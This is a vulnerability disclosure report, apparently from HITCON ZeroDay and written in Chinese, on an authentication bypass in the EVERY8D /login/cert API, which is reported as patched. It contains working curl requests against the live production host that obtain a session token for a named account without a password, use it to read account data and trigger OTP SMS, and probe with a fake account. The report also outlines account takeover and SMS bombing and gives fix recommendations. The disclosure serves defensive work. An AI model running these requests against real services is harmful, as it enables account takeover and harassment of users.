Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00637
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D ext-api.e8d.tw /login/cert 無需密碼取得任意帳號 Token(認證繞過)
- Introduction: /login/cert 端點無伺服器端密碼驗證,任意人只需提供帳號名稱即可直接取得有效 session token 完全繞過認證。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/07 01:28:22 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:55:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:54:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:54:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:54:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:22:43 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:13:00 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:09:40 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:32:06 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00637
- 通報者:guan4tou2 (罐頭)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://ext-api.e8d.tw/e8d/announce
https://ext-api.e8d.tw/e8d/mfa/GetOTP
https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx
敘述
漏洞概述
ext-api.e8d.tw(EVERY8D 外部 API 服務)的 /login/cert 端點在 TeamPlus × EVERY8D 整合登入流程中負責發放 session token。正常流程為:用戶先透過 AccountHandler.ashx?action=login 完成密碼驗證,成功後由前端 JS(GetLoginToken())呼叫 /login/cert 取得 token。但 /login/cert 本身完全無密碼驗證,攻擊者可直接跳過密碼驗證步驟呼叫此端點,取得任意已知帳號的有效 session token。
重現步驟(Live verified: 2026-05-07 re-confirmed)
步驟 1:取得目標帳號名稱
利用已揭露的帳號列舉 oracle(ZD-2026-00633,AccountHandler.ashx 錯誤訊息 (Lv5c) 差異)可確認任意帳號存在性。此步驟非本案主體,帳號名稱亦可透過其他途徑取得(如 EVERY8D 企業入口自行申請帳號)。以下重現以帳號 jenny 為例(已知存在)。
步驟 2:無需密碼取得 jenny 帳號 token
curl -sk -X POST "https://ext-api.e8d.tw/login/cert" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"jenny","ipaddress":"127.0.0.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'
回應:
{"status":"200","token":"nxE12484535196713021","enterprise":"1","message":"成功"}
→ jenny 帳號的有效 session token 取得,全程無需密碼。
步驟 3:用 bypass token 取得帳號公告資料(確認帳號存取成功)
curl -sk -X POST "https://ext-api.e8d.tw/e8d/announce" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"jenny","token":"nxE12484535196713021","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'
回應:
{"status":"200","message":"成功","data":[
{"id":95,"title":"EVERY8D轉專屬網址服務將於2026/6/30停用","content":"...(完整公告內容)..."},
{"id":90,"title":"【重要】Http API 2.1 URL入口環境移轉","content":"..."}
]}
→ 成功取得 jenny 帳號的系統公告資料,確認 bypass token 具備完整帳號存取能力。
步驟 4:用 bypass token 觸發 OTP 簡訊(確認 MFA 端點也被繞過)
curl -sk -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"jenny","token":"nxE12484535196713021","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'
回應:{"status":"200","message":"成功"} → OTP 簡訊已送至 jenny 登記手機,全程無需密碼。
步驟 5:對比假帳號(確認是後端帳號存在性驗證,非 token 格式問題)
curl -sk -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"fake_account_xyz","token":"jJI11809870756780354","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'
回應:{"status":"397","message":"與MSSQL資料庫連線失敗"} → 假帳號無資料庫記錄,後端查詢失敗,確認 token 本身有效(問題在帳號不存在,非 token 格式)。
已驗證影響(Verified)
- ✅ 無需密碼取得任意 EVERY8D 帳號 session token(bypass
/login/cert) - ✅ bypass token 成功存取帳號公告資料(
/e8d/announce200) - ✅ bypass token 成功觸發 OTP 簡訊送出(
/e8d/mfa/GetOTP200) - ✅
AccountHandler.ashx使用者枚舉 oracle((Lv5c) 差異)
潛在影響(Potential)
- 對 MFA 停用租戶(
mfaPass=true):bypass token 可直接呼叫setLoginSessionWithoutMFA→ 完整帳號接管(ATO) - OTP 簡訊轟炸:攻擊者可對任意 EVERY8D 帳號重複觸發 OTP 簡訊(無 rate limit 觀察到)
- 組合 AccountHandler oracle + /login/cert bypass:大規模帳號存在枚舉 + token 取得
漏洞根因
/login/cert 端點設計假設只有通過 AccountHandler.ashx?action=login 密碼驗證的前端 JS 才會呼叫它,但伺服器端完全無驗證,任何 HTTP 客戶端皆可直接呼叫。屬於「只在前端做驗證」的典型安全反模式。
修補建議
1. 立即:/login/cert 端點加入伺服器端密碼驗證,或要求提供有效的短效一次性憑證(如由 AccountHandler.ashx login 成功後簽發的 nonce)。
2. 立即:/e8d/mfa/GetOTP 加入 rate limiting(每分鐘/每小時限制),防止 OTP 簡訊轟炸。
3. 短期:AccountHandler.ashx?action=login 統一錯誤訊息,消除帳號存在性差異(移除 (LvXx) 代碼差異)。
4. 短期:稽核所有 ext-api.e8d.tw 端點是否有其他未驗證的 token 接受路徑。